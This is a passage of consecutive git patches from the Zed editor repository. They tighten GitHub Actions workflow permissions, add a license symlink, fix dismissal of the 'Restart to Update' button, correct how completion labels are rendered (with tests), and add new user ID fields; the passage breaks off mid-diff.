         .add_event(
             Event::default().workflow_dispatch(
                 WorkflowDispatch::default()
@@ -366,6 +367,7 @@ pub(crate) fn deploy_nightly_docs() -> Workflow {
 
     named::workflow()
         .name("deploy_nightly_docs")
+        .permissions(Permissions::default())
         .add_event(Event::default().push(Push::default().add_branch("main")))
         .add_job(deploy_docs.name, deploy_docs.job)
 }
diff --git a/tooling/xtask/src/tasks/workflows/extension_auto_bump.rs b/tooling/xtask/src/tasks/workflows/extension_auto_bump.rs
index e69c783299aa18..9958a7638d6ccd 100644
--- a/tooling/xtask/src/tasks/workflows/extension_auto_bump.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_auto_bump.rs
@@ -8,7 +8,7 @@ use crate::tasks::workflows::{
     extensions::WithAppSecrets,
     run_tests::DETECT_CHANGED_EXTENSIONS_SCRIPT,
     runners,
-    steps::{self, CommonJobConditions, NamedJob, named},
+    steps::{self, CommonJobConditions, CommonPermissionSets, NamedJob, named},
     vars::{StepOutput, one_workflow_per_non_main_branch},
 };
 
@@ -20,6 +20,7 @@ pub(crate) fn extension_auto_bump() -> Workflow {
     let bump = bump_extension_versions(&detect);
 
     named::workflow()
+        .with_minimal_permissions()
         .add_event(
             Event::default().push(
                 Push::default()
diff --git a/tooling/xtask/src/tasks/workflows/extension_bump.rs b/tooling/xtask/src/tasks/workflows/extension_bump.rs
index e4efebfe67db95..9f6f6462b6c2b7 100644
--- a/tooling/xtask/src/tasks/workflows/extension_bump.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_bump.rs
@@ -5,9 +5,10 @@ use crate::tasks::workflows::{
     extension_tests::{self},
     runners,
     steps::{
-        self, BASH_SHELL, CommonJobConditions, DEFAULT_REPOSITORY_OWNER_GUARD, GitHubScriptStep,
-        GitRef, NamedJob, RefSha, RepositoryTarget, cache_rust_dependencies_namespace,
-        checkout_repo, create_ref, dependant_job, generate_token, named,
+        self, BASH_SHELL, CommonJobConditions, CommonPermissionSets,
+        DEFAULT_REPOSITORY_OWNER_GUARD, GitHubScriptStep, GitRef, NamedJob, RefSha,
+        RepositoryTarget, cache_rust_dependencies_namespace, checkout_repo, create_ref,
+        dependant_job, generate_token, named,
     },
     vars::{
         JobOutput, StepOutput, WorkflowInput, WorkflowSecret,
@@ -58,6 +59,7 @@ pub(crate) fn extension_bump() -> Workflow {
     );
 
     named::workflow()
+        .with_minimal_permissions()
         .add_event(
             Event::default().workflow_call(
                 WorkflowCall::default()
diff --git a/tooling/xtask/src/tasks/workflows/extension_tests.rs b/tooling/xtask/src/tasks/workflows/extension_tests.rs
index b184db64e3f412..8626dd5e1c0400 100644
--- a/tooling/xtask/src/tasks/workflows/extension_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_tests.rs
@@ -8,7 +8,7 @@ use crate::tasks::workflows::{
     },
     runners,
     steps::{
-        self, BASH_SHELL, CommonJobConditions, FluentBuilder, NamedJob,
+        self, BASH_SHELL, CommonJobConditions, CommonPermissionSets, FluentBuilder, NamedJob,
         cache_rust_dependencies_namespace, named,
     },
     vars::{PathCondition, StepOutput, WorkflowInput, one_workflow_per_non_main_branch_and_token},
@@ -41,6 +41,7 @@ pub(crate) fn extension_tests() -> Workflow {
     let working_directory = WorkflowInput::string("working-directory", Some(".".to_owned()));
 
     named::workflow()
+        .with_minimal_permissions()
         .add_event(
             Event::default().workflow_call(
                 WorkflowCall::default()
diff --git a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
index 9eb9d456a62eb1..19e2c5e28dbfa5 100644
--- a/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
+++ b/tooling/xtask/src/tasks/workflows/extension_workflow_rollout.rs
@@ -8,8 +8,8 @@ use serde_json::json;
 use crate::tasks::workflows::steps::GitRef;
 use crate::tasks::workflows::steps::RefSha;
 use crate::tasks::workflows::steps::{
-    CheckoutStep, DownloadArtifactStep, IfNoFilesFound, ResultEncoding, TokenPermissions,
-    UploadArtifactStep, cache_rust_dependencies_namespace,
+    CheckoutStep, CommonPermissionSets, DownloadArtifactStep, IfNoFilesFound, ResultEncoding,
+    TokenPermissions, UploadArtifactStep, cache_rust_dependencies_namespace,
 };
 use crate::tasks::workflows::vars::JobOutput;
 use crate::tasks::workflows::{
@@ -42,6 +42,7 @@ pub(crate) fn extension_workflow_rollout() -> Workflow {
     let create_tag = create_rollout_tag(&rollout_workflows, &filter_repos_input);
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default().workflow_dispatch(
             WorkflowDispatch::default()
                 .add_input(filter_repos_input.name, filter_repos_input.input())
diff --git a/tooling/xtask/src/tasks/workflows/extensions/bump_version.rs b/tooling/xtask/src/tasks/workflows/extensions/bump_version.rs
index 4dc2560e2bea48..077a0e4cc20585 100644
--- a/tooling/xtask/src/tasks/workflows/extensions/bump_version.rs
+++ b/tooling/xtask/src/tasks/workflows/extensions/bump_version.rs
@@ -27,6 +27,7 @@ pub(crate) fn bump_version(args: &GenerateWorkflowArgs) -> Workflow {
             )
             .pull_request(PullRequest::default().add_type(PullRequestType::Labeled))
             .workflow_dispatch(WorkflowDispatch::default()))
+        .permissions(Permissions::default())
         .concurrency(one_workflow_per_non_main_branch_and_token("labels"))
         .add_job(determine_bump_type.name, determine_bump_type.job)
         .add_job(call_bump_version.name, call_bump_version.job)
diff --git a/tooling/xtask/src/tasks/workflows/extensions/run_tests.rs b/tooling/xtask/src/tasks/workflows/extensions/run_tests.rs
index ae8000c15cad3a..3bcd87c433e6e3 100644
--- a/tooling/xtask/src/tasks/workflows/extensions/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/extensions/run_tests.rs
@@ -9,6 +9,7 @@ use crate::tasks::workflows::{
 pub(crate) fn run_tests(args: &GenerateWorkflowArgs) -> Workflow {
     let call_extension_tests = call_extension_tests(args.sha.as_ref());
     named::workflow()
+        .permissions(Permissions::default().contents(Level::Read))
         .on(Event::default()
             .pull_request(PullRequest::default().add_branch("**"))
             .push(Push::default().add_branch("main")))
diff --git a/tooling/xtask/src/tasks/workflows/nix_build.rs b/tooling/xtask/src/tasks/workflows/nix_build.rs
index cc04ec5b855ff4..2a4521ecdc41c0 100644
--- a/tooling/xtask/src/tasks/workflows/nix_build.rs
+++ b/tooling/xtask/src/tasks/workflows/nix_build.rs
@@ -1,6 +1,6 @@
 use crate::tasks::workflows::{
     runners::{Arch, Platform},
-    steps::{CommonJobConditions, DEFAULT_REPOSITORY_OWNER_GUARD, NamedJob},
+    steps::{CommonJobConditions, CommonPermissionSets, DEFAULT_REPOSITORY_OWNER_GUARD, NamedJob},
 };
 
 use super::{runners, steps, steps::named, vars};
@@ -13,6 +13,7 @@ use gh_workflow::*;
 pub fn nix_build() -> Workflow {
     let [nix_linux_x86_64, nix_mac_aarch64] = nix_pr_jobs(&["run-nix", "run-bundling"]);
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default().pull_request(
             PullRequest::default().types([PullRequestType::Labeled, PullRequestType::Synchronize]),
         ))
diff --git a/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs b/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
index cbe656e734eb73..d4843cbaf4a1a8 100644
--- a/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
+++ b/tooling/xtask/src/tasks/workflows/publish_extension_cli.rs
@@ -4,8 +4,8 @@ use indoc::{formatdoc, indoc};
 use crate::tasks::workflows::{
     runners,
     steps::{
-        self, DEFAULT_REPOSITORY_OWNER_GUARD, GitRef, NamedJob, RefSha, RepositoryTarget,
-        TokenPermissions, generate_token, named,
+        self, CommonPermissionSets, DEFAULT_REPOSITORY_OWNER_GUARD, GitRef, NamedJob, RefSha,
+        RepositoryTarget, TokenPermissions, generate_token, named,
     },
     vars::{self, StepOutput, WorkflowInput},
 };
@@ -22,6 +22,7 @@ pub fn publish_extension_cli() -> Workflow {
     let update_sha_in_extensions = update_sha_in_extensions(&publish, &message);
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default().workflow_dispatch(
             WorkflowDispatch::default().add_input(message.name, message.input()),
         ))
diff --git a/tooling/xtask/src/tasks/workflows/release.rs b/tooling/xtask/src/tasks/workflows/release.rs
index f04a9f7ca8ad6c..fc3060e375a5e3 100644
--- a/tooling/xtask/src/tasks/workflows/release.rs
+++ b/tooling/xtask/src/tasks/workflows/release.rs
@@ -1,4 +1,6 @@
-use gh_workflow::{Event, Expression, Level, Push, Run, Step, Use, Workflow, ctx::Context};
+use gh_workflow::{
+    Event, Expression, Level, Permissions, Push, Run, Step, Use, Workflow, ctx::Context,
+};
 use indoc::formatdoc;
 
 use crate::tasks::workflows::{
@@ -6,8 +8,8 @@ use crate::tasks::workflows::{
     run_tests,
     runners::{self, Arch, Platform},
     steps::{
-        self, DownloadArtifactStep, FluentBuilder, NamedJob, TokenPermissions, dependant_job,
-        named, release_job,
+        self, CommonPermissionSets, DownloadArtifactStep, FluentBuilder, NamedJob,
+        TokenPermissions, dependant_job, named, release_job,
     },
     vars::{self, JobOutput, StepOutput, assets},
 };
@@ -101,6 +103,7 @@ pub(crate) fn release() -> Workflow {
     named::workflow()
         .on(Event::default().push(Push::default().tags(vec!["v*".to_string()])))
         .concurrency(vars::one_workflow_per_non_main_branch())
+        .with_minimal_permissions()
         .add_env(("CARGO_TERM_COLOR", "always"))
         .add_env(("RUST_BACKTRACE", "1"))
         .add_job(macos_tests.name, macos_tests.job)
@@ -466,6 +469,7 @@ fn upload_release_assets(deps: &[&NamedJob], bundle: &ReleaseBundleJobs) -> Name
     named::job(
         dependant_job(&deps)
             .runs_on(runners::LINUX_MEDIUM)
+            .permissions(Permissions::default().contents(Level::Write))
             .add_step(download_workflow_artifacts())
             .add_step(steps::script("ls -lR ./artifacts"))
             .add_step(prep_release_artifacts())
diff --git a/tooling/xtask/src/tasks/workflows/release_nightly.rs b/tooling/xtask/src/tasks/workflows/release_nightly.rs
index a92188ee0d7baa..4c18ba213688ac 100644
--- a/tooling/xtask/src/tasks/workflows/release_nightly.rs
+++ b/tooling/xtask/src/tasks/workflows/release_nightly.rs
@@ -8,8 +8,8 @@ use crate::tasks::workflows::{
     run_tests::run_platform_tests_no_filter,
     runners::{Arch, Platform, ReleaseChannel},
     steps::{
-        CommonJobConditions, DEFAULT_REPOSITORY_OWNER_GUARD, FluentBuilder, GitRef, NamedJob,
-        RefSha, RepositoryTarget, TokenPermissions,
+        CommonJobConditions, CommonPermissionSets, DEFAULT_REPOSITORY_OWNER_GUARD, FluentBuilder,
+        GitRef, NamedJob, RefSha, RepositoryTarget, TokenPermissions,
     },
 };
 
@@ -47,6 +47,7 @@ pub fn release_nightly() -> Workflow {
     let notify_on_failure = notify_on_failure(&bundle.jobs());
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default()
             // Fire 6 times a day
             .schedule([Schedule::new("0 */4 * * *")])
diff --git a/tooling/xtask/src/tasks/workflows/run_bundling.rs b/tooling/xtask/src/tasks/workflows/run_bundling.rs
index e9ed32c610ca1e..cb916e849eda43 100644
--- a/tooling/xtask/src/tasks/workflows/run_bundling.rs
+++ b/tooling/xtask/src/tasks/workflows/run_bundling.rs
@@ -3,7 +3,10 @@ use std::path::Path;
 use crate::tasks::workflows::{
     release::ReleaseBundleJobs,
     runners::{Arch, Platform, ReleaseChannel},
-    steps::{FluentBuilder, IfNoFilesFound, NamedJob, UploadArtifactStep, dependant_job, named},
+    steps::{
+        CommonPermissionSets, FluentBuilder, IfNoFilesFound, NamedJob, UploadArtifactStep,
+        dependant_job, named,
+    },
     vars::{self, assets, bundle_envs},
 };
 
@@ -23,6 +26,7 @@ pub fn run_bundling() -> Workflow {
         windows_x86_64: bundle_windows(Arch::X86_64, None, &[]),
     };
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default().pull_request(
             PullRequest::default().types([PullRequestType::Labeled, PullRequestType::Synchronize]),
         ))
diff --git a/tooling/xtask/src/tasks/workflows/run_tests.rs b/tooling/xtask/src/tasks/workflows/run_tests.rs
index dd422fa32e9267..c745d0e385223d 100644
--- a/tooling/xtask/src/tasks/workflows/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/run_tests.rs
@@ -8,8 +8,8 @@ use serde_json::json;
 
 use crate::tasks::workflows::{
     steps::{
-        CommonJobConditions, cache_rust_dependencies_namespace, repository_owner_guard_expression,
-        use_clang,
+        CommonJobConditions, CommonPermissionSets, cache_rust_dependencies_namespace,
+        repository_owner_guard_expression, use_clang,
     },
     vars::{self, PathCondition},
 };
@@ -105,6 +105,7 @@ pub(crate) fn run_tests() -> Workflow {
     ); // could be more specific here?
 
     named::workflow()
+        .with_minimal_permissions()
         .add_event(
             Event::default()
                 .push(
diff --git a/tooling/xtask/src/tasks/workflows/steps.rs b/tooling/xtask/src/tasks/workflows/steps.rs
index 7351f451a94d86..5fcb0114421530 100644
--- a/tooling/xtask/src/tasks/workflows/steps.rs
+++ b/tooling/xtask/src/tasks/workflows/steps.rs
@@ -376,6 +376,16 @@ impl CommonJobConditions for Job {
     }
 }
 
+pub trait CommonPermissionSets: Sized {
+    fn with_minimal_permissions(self) -> Self;
+}
+
+impl CommonPermissionSets for Workflow {
+    fn with_minimal_permissions(self) -> Self {
+        self.permissions(Permissions::default().contents(Level::Read))
+    }
+}
+
 pub(crate) fn release_job(deps: &[&NamedJob]) -> Job {
     dependant_job(deps)
         .with_repository_owner_guard()
@@ -503,6 +513,7 @@ pub mod named {
                     .collect::<Vec<_>>()
                     .join("::"),
             )
+            .permissions(Permissions::default())
             .defaults(Defaults::default().run(RunDefaults::default().shell(BASH_SHELL)))
     }
 

From eeff97950f7ccfd5b2f73b48f7267bd0df5e4bfb Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 6 Jul 2026 18:10:48 +0200
Subject: [PATCH 283/772] Add license to tooling/lints crate (#60468)

Seeing `script/check-license` fail because we forgot to add a license in
#58496

> Error: tooling/lints does not contain a LICENSE-GPL or LICENSE-APACHE
symlink

Release Notes:

- N/A
---
 .github/workflows/run_tests.yml                | 2 +-
 tooling/lints/LICENSE-APACHE                   | 1 +
 tooling/xtask/src/tasks/workflows/run_tests.rs | 2 +-
 3 files changed, 3 insertions(+), 2 deletions(-)
 create mode 120000 tooling/lints/LICENSE-APACHE

diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 055279340ce4b3..1b8f416baab558 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -75,7 +75,7 @@ jobs:
           # Map directory names to package names
           FILE_CHANGED_PKGS=""
           for dir in $CHANGED_DIRS; do
-            pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1)
+            pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1 || true)
             if [ -n "$pkg" ]; then
               FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$pkg")
             else
diff --git a/tooling/lints/LICENSE-APACHE b/tooling/lints/LICENSE-APACHE
new file mode 120000
index 00000000000000..1cd601d0a3affa
--- /dev/null
+++ b/tooling/lints/LICENSE-APACHE
@@ -0,0 +1 @@
+../../LICENSE-APACHE
\ No newline at end of file
diff --git a/tooling/xtask/src/tasks/workflows/run_tests.rs b/tooling/xtask/src/tasks/workflows/run_tests.rs
index c745d0e385223d..84dc6692392b50 100644
--- a/tooling/xtask/src/tasks/workflows/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/run_tests.rs
@@ -221,7 +221,7 @@ fn orchestrate_impl(rules: &[&PathCondition], target: OrchestrateTarget) -> Name
           # Map directory names to package names
           FILE_CHANGED_PKGS=""
           for dir in $CHANGED_DIRS; do
-            pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1)
+            pkg=$(echo "$DIR_TO_PKG" | grep "^${dir}=" | cut -d= -f2 | head -1 || true)
             if [ -n "$pkg" ]; then
               FILE_CHANGED_PKGS=$(printf '%s\n%s' "$FILE_CHANGED_PKGS" "$pkg")
             else

From 48c03b2f7f2a9ca8e3ee0fd6e1c4eba097d9f516 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Mon, 6 Jul 2026 22:47:57 +0300
Subject: [PATCH 284/772] Better "Restart to Update" button dismissals (#60448)

Follow-up of https://github.com/zed-industries/zed/pull/59994 deals with

<img width="173" height="39" alt="restart to update"
src="https://github.com/user-attachments/assets/5209e15b-cbf9-4530-b0da-7326c8131448"
/>

button overly appearing.

The PR mentioned fixed the redownload issue, but the title bar code
re-surfaced the button on every update check as `is_updated` in this
semantics means a new Nightly update is ready to be installed:
https://github.com/zed-industries/zed/blob/159246f0083787124160620118ac35df5f0f3754/crates/auto_update/src/auto_update.rs#L171-L173
and the old code used this as "can show the button again" reason after
each recheck.

Instead, track dismissed update state better both in the title bar and
the global auto updater, so no new version checks can trigger this and
no new Zed windows get this button again (as it is now).

Release Notes:

- Improved "Restart to Update" button dismissals
---
 crates/auto_update/src/auto_update.rs  | 14 ++++++++
 crates/title_bar/src/update_version.rs | 46 +++++++++++++++-----------
 2 files changed, 41 insertions(+), 19 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index e4c837618d9cc6..67643ee6345ee2 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -180,6 +180,7 @@ pub struct AutoUpdater {
     pending_poll: Option<Task<Option<()>>>,
     quit_subscription: Option<gpui::Subscription>,
     update_check_type: UpdateCheckType,
+    dismissed_status: Option<AutoUpdateStatus>,
 }
 
 #[derive(Deserialize, Serialize, Clone, Debug)]
@@ -426,6 +427,7 @@ impl AutoUpdater {
             pending_poll: None,
             quit_subscription,
             update_check_type: UpdateCheckType::Automatic,
+            dismissed_status: None,
         }
     }
 
@@ -458,6 +460,9 @@ impl AutoUpdater {
     }
 
     pub fn poll(&mut self, check_type: UpdateCheckType, cx: &mut Context<Self>) {
+        if check_type.is_manual() {
+            self.dismissed_status = None;
+        }
         if self.pending_poll.is_some() {
             if self.update_check_type == UpdateCheckType::Automatic {
                 self.update_check_type = check_type;
@@ -511,6 +516,15 @@ impl AutoUpdater {
         self.status.clone()
     }
 
+    pub fn dismissed_status(&self) -> Option<AutoUpdateStatus> {
+        self.dismissed_status.clone()
+    }
+
+    pub fn dismiss_status(&mut self, status: AutoUpdateStatus, cx: &mut Context<Self>) {
+        self.dismissed_status = Some(status);
+        cx.notify();
+    }
+
     pub fn dismiss(&mut self, cx: &mut Context<Self>) -> bool {
         if let AutoUpdateStatus::Idle = self.status {
             return false;
diff --git a/crates/title_bar/src/update_version.rs b/crates/title_bar/src/update_version.rs
index 622572abad3c07..876c00b9ba6722 100644
--- a/crates/title_bar/src/update_version.rs
+++ b/crates/title_bar/src/update_version.rs
@@ -9,31 +9,30 @@ use ui::{UpdateButton, prelude::*};
 pub struct UpdateVersion {
     status: AutoUpdateStatus,
     update_check_type: UpdateCheckType,
-    dismissed: bool,
+    dismissed_status: Option<AutoUpdateStatus>,
 }
 
 impl UpdateVersion {
     pub fn new(cx: &mut Context<Self>) -> Self {
         if let Some(auto_updater) = AutoUpdater::get(cx) {
             cx.observe(&auto_updater, |this, auto_update, cx| {
-                this.status = auto_update.read(cx).status();
-                this.update_check_type = auto_update.read(cx).update_check_type();
-                if this.status.is_updated() {
-                    this.dismissed = false;
-                }
+                let auto_update = auto_update.read(cx);
+                this.status = auto_update.status();
+                this.update_check_type = auto_update.update_check_type();
+                this.dismissed_status = auto_update.dismissed_status();
                 cx.notify();
             })
             .detach();
             Self {
                 status: auto_updater.read(cx).status(),
                 update_check_type: UpdateCheckType::Automatic,
-                dismissed: false,
+                dismissed_status: auto_updater.read(cx).dismissed_status(),
             }
         } else {
             Self {
                 status: AutoUpdateStatus::Idle,
                 update_check_type: UpdateCheckType::Automatic,
-                dismissed: false,
+                dismissed_status: None,
             }
         }
     }
@@ -59,12 +58,27 @@ impl UpdateVersion {
 
         self.status = next_state;
         self.update_check_type = UpdateCheckType::Manual;
-        self.dismissed = false;
+        self.dismissed_status = None;
         cx.notify()
     }
 
     pub fn show_update_in_menu_bar(&self) -> bool {
-        self.dismissed && self.status.is_updated()
+        self.is_dismissed() && self.status.is_updated()
+    }
+
+    fn is_dismissed(&self) -> bool {
+        self.dismissed_status.as_ref() == Some(&self.status)
+    }
+
+    fn dismiss(&mut self, cx: &mut Context<Self>) {
+        self.dismissed_status = Some(self.status.clone());
+        if let Some(auto_updater) = AutoUpdater::get(cx) {
+            let status = self.status.clone();
+            auto_updater.update(cx, |auto_updater, cx| {
+                auto_updater.dismiss_status(status, cx)
+            });
+        }
+        cx.notify()
     }
 
     fn version_tooltip_message(version: &Version) -> String {
@@ -74,7 +88,7 @@ impl UpdateVersion {
 
 impl Render for UpdateVersion {
     fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        if self.dismissed {
+        if self.is_dismissed() {
             return Empty.into_any_element();
         }
         match &self.status {
@@ -95,10 +109,7 @@ impl Render for UpdateVersion {
                     .on_click(|_, _, cx| {
                         workspace::reload(cx);
                     })
-                    .on_dismiss(cx.listener(|this, _, _window, cx| {
-                        this.dismissed = true;
-                        cx.notify()
-                    }))
+                    .on_dismiss(cx.listener(|this, _, _window, cx| this.dismiss(cx)))
                     .into_any_element()
             }
             AutoUpdateStatus::Errored { error } => {
@@ -107,10 +118,7 @@ impl Render for UpdateVersion {
                     .on_click(|_, window, cx| {
                         window.dispatch_action(Box::new(workspace::OpenLog), cx);
                     })
-                    .on_dismiss(cx.listener(|this, _, _window, cx| {
-                        this.dismissed = true;
-                        cx.notify()
-                    }))
+                    .on_dismiss(cx.listener(|this, _, _window, cx| this.dismiss(cx)))
                     .into_any_element()
             }
             AutoUpdateStatus::Idle | AutoUpdateStatus::Checking { .. } => Empty.into_any_element(),

From 98fe76caadfd71d09eb29de885d0e7b439956e38 Mon Sep 17 00:00:00 2001
From: davidhi7 <77309510+davidhi7@users.noreply.github.com>
Date: Mon, 6 Jul 2026 23:22:14 +0200
Subject: [PATCH 285/772] editor: Fix completion labels not being rendered
 completely (#56976)

PR https://github.com/zed-industries/zed/pull/45892 changed the logic
for rendering completion labels and divided rendering up into the "main"
part (consisting of the completion's `filter_range`) and "details" part
(everything after `filter_range`), but no longer renders text that comes
before the `filter_range`. This text is probably not relevant in too
many cases but makes some Rust completions unclear and ambiguous, as can
be seen in this example:

Without this change:
<img width="1262" height="313" alt="Image"
src="https://github.com/user-attachments/assets/dcdd9da4-c449-445d-b379-771b368c3778"
/>

With this change:
<img width="1328" height="376" alt="grafik"
src="https://github.com/user-attachments/assets/05fdaf95-7a18-4d50-8e3b-35be10d9a1ef"
/>

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #56973

Release Notes:

- Fix completion labels not being rendered completely

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/editor/src/code_context_menus.rs | 125 +++++++++++++++++-------
 1 file changed, 89 insertions(+), 36 deletions(-)

diff --git a/crates/editor/src/code_context_menus.rs b/crates/editor/src/code_context_menus.rs
index 25ac00a495c82b..b192fa3d683bb5 100644
--- a/crates/editor/src/code_context_menus.rs
+++ b/crates/editor/src/code_context_menus.rs
@@ -1,9 +1,9 @@
 use crate::scroll::ScrollAmount;
 use fuzzy::{StringMatch, StringMatchCandidate};
 use gpui::{
-    AnyElement, Entity, Focusable, FontWeight, ListSizingBehavior, ScrollHandle, ScrollStrategy,
-    SharedString, Size, StrikethroughStyle, StyledText, Task, TaskExt, UniformListScrollHandle,
-    div, px, uniform_list,
+    AnyElement, Entity, Focusable, FontWeight, HighlightStyle, ListSizingBehavior, ScrollHandle,
+    ScrollStrategy, SharedString, Size, StrikethroughStyle, StyledText, Task, TaskExt,
+    UniformListScrollHandle, div, px, uniform_list,
 };
 use itertools::Itertools;
 use language::CodeLabel;
@@ -1006,43 +1006,18 @@ impl CompletionsMenu {
 
                         let highlights: Vec<_> = highlights.collect();
 
-                        let filter_range = &completion.label.filter_range;
-                        let full_text = &completion.label.text;
-
-                        let main_text: String = full_text[filter_range.clone()].to_string();
-                        let main_highlights: Vec<_> = highlights
-                            .iter()
-                            .filter_map(|(range, highlight)| {
-                                if range.end <= filter_range.start
-                                    || range.start >= filter_range.end
-                                {
-                                    return None;
-                                }
-                                let clamped_start =
-                                    range.start.max(filter_range.start) - filter_range.start;
-                                let clamped_end =
-                                    range.end.min(filter_range.end) - filter_range.start;
-                                Some((clamped_start..clamped_end, (*highlight)))
-                            })
-                            .collect();
-                        let main_label = StyledText::new(main_text)
+                        let ((main_text, main_highlights), (suffix_text, suffix_highlights)) =
+                            split_completion_label(
+                                &completion.label.text,
+                                &completion.label.filter_range,
+                                &highlights,
+                            );
+                        let main_label = StyledText::new(main_text.to_string())
                             .with_default_highlights(&style.text, main_highlights);
 
-                        let suffix_text: String = full_text[filter_range.end..].to_string();
-                        let suffix_highlights: Vec<_> = highlights
-                            .iter()
-                            .filter_map(|(range, highlight)| {
-                                if range.end <= filter_range.end {
-                                    return None;
-                                }
-                                let shifted_start = range.start.saturating_sub(filter_range.end);
-                                let shifted_end = range.end - filter_range.end;
-                                Some((shifted_start..shifted_end, (*highlight)))
-                            })
-                            .collect();
                         let suffix_label = if !suffix_text.is_empty() {
                             Some(
-                                StyledText::new(suffix_text)
+                                StyledText::new(suffix_text.to_string())
                                     .with_default_highlights(&style.text, suffix_highlights),
                             )
                         } else {
@@ -1691,6 +1666,42 @@ fn completion_kind_highlight_name(kind: CompletionItemKind) -> Option<&'static s
     })
 }
 
+fn split_completion_label<'a>(
+    text: &'a str,
+    filter_range: &Range<usize>,
+    highlights: &[(Range<usize>, HighlightStyle)],
+) -> (
+    (&'a str, Vec<(Range<usize>, HighlightStyle)>),
+    (&'a str, Vec<(Range<usize>, HighlightStyle)>),
+) {
+    let (main_text, suffix_text) = text.split_at(filter_range.end);
+    let main_highlights = highlights
+        .iter()
+        .filter_map(|(range, highlight)| {
+            if range.start >= filter_range.end {
+                return None;
+            }
+            let clamped_end = range.end.min(filter_range.end);
+            Some((range.start..clamped_end, *highlight))
+        })
+        .collect();
+    let suffix_highlights = highlights
+        .iter()
+        .filter_map(|(range, highlight)| {
+            if range.end <= filter_range.end {
+                return None;
+            }
+            let shifted_start = range.start.saturating_sub(filter_range.end);
+            let shifted_end = range.end - filter_range.end;
+            Some((shifted_start..shifted_end, *highlight))
+        })
+        .collect();
+    (
+        (main_text, main_highlights),
+        (suffix_text, suffix_highlights),
+    )
+}
+
 fn exact_case_match_count(query: &str, string_match: &StringMatch) -> usize {
     let mut exact_matches = 0;
     let mut query_chars = query.chars();
@@ -2038,3 +2049,45 @@ impl CodeActionsMenu {
         )
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn bold() -> HighlightStyle {
+        FontWeight::BOLD.into()
+    }
+
+    fn colored() -> HighlightStyle {
+        HighlightStyle {
+            fade_out: Some(0.5),
+            ..Default::default()
+        }
+    }
+
+    #[test]
+    fn test_split_completion_label_keeps_prefix_before_filter_range() {
+        let ((main_text, main_highlights), (suffix_text, suffix_highlights)) =
+            split_completion_label("&some_str: String", &(1..9), &[(11..17, colored())]);
+
+        assert_eq!(main_text, "&some_str");
+        assert_eq!(suffix_text, ": String");
+        assert_eq!(main_highlights, vec![]);
+        assert_eq!(suffix_highlights, vec![(2..8, colored())]);
+    }
+
+    #[test]
+    fn test_split_completion_label_splits_boundary_spanning_highlight() {
+        let ((main_text, main_highlights), (suffix_text, suffix_highlights)) =
+            split_completion_label(
+                "await.as_deref_mut(&mut self)",
+                &(6..18),
+                &[(0..29, bold())],
+            );
+
+        assert_eq!(main_text, "await.as_deref_mut");
+        assert_eq!(suffix_text, "(&mut self)");
+        assert_eq!(main_highlights, vec![(0..18, bold())]);
+        assert_eq!(suffix_highlights, vec![(0..11, bold())]);
+    }
+}

From 9064f26a454f8aa32c126d8c798e1063f3f95210 Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 6 Jul 2026 17:27:24 -0400
Subject: [PATCH 286/772] cloud_api_types: Add new ID fields to
 `AuthenticatedUser` (#60497)

This PR adds the new `id_v2` and `legacy_user_id` fields to the
`AuthenticatedUser` type and starts using them in place of the `id`
field.

Release Notes:

- N/A
---
 crates/client/src/test.rs                     | 3 ++-
 crates/cloud_api_types/src/cloud_api_types.rs | 3 ++-
 crates/collab/src/auth.rs                     | 2 +-
 3 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/crates/client/src/test.rs b/crates/client/src/test.rs
index 858bf499cd5a72..1770bce23022af 100644
--- a/crates/client/src/test.rs
+++ b/crates/client/src/test.rs
@@ -240,7 +240,8 @@ pub fn make_get_authenticated_user_response(
 ) -> GetAuthenticatedUserResponse {
     GetAuthenticatedUserResponse {
         user: AuthenticatedUser {
-            id: user_id,
+            id_v2: format!("user_{user_id}"),
+            legacy_user_id: user_id,
             metrics_id: format!("metrics-id-{user_id}"),
             username: username.clone(),
             avatar_url: "".to_string(),
diff --git a/crates/cloud_api_types/src/cloud_api_types.rs b/crates/cloud_api_types/src/cloud_api_types.rs
index 0de0a5444d9da2..b02f5756cce385 100644
--- a/crates/cloud_api_types/src/cloud_api_types.rs
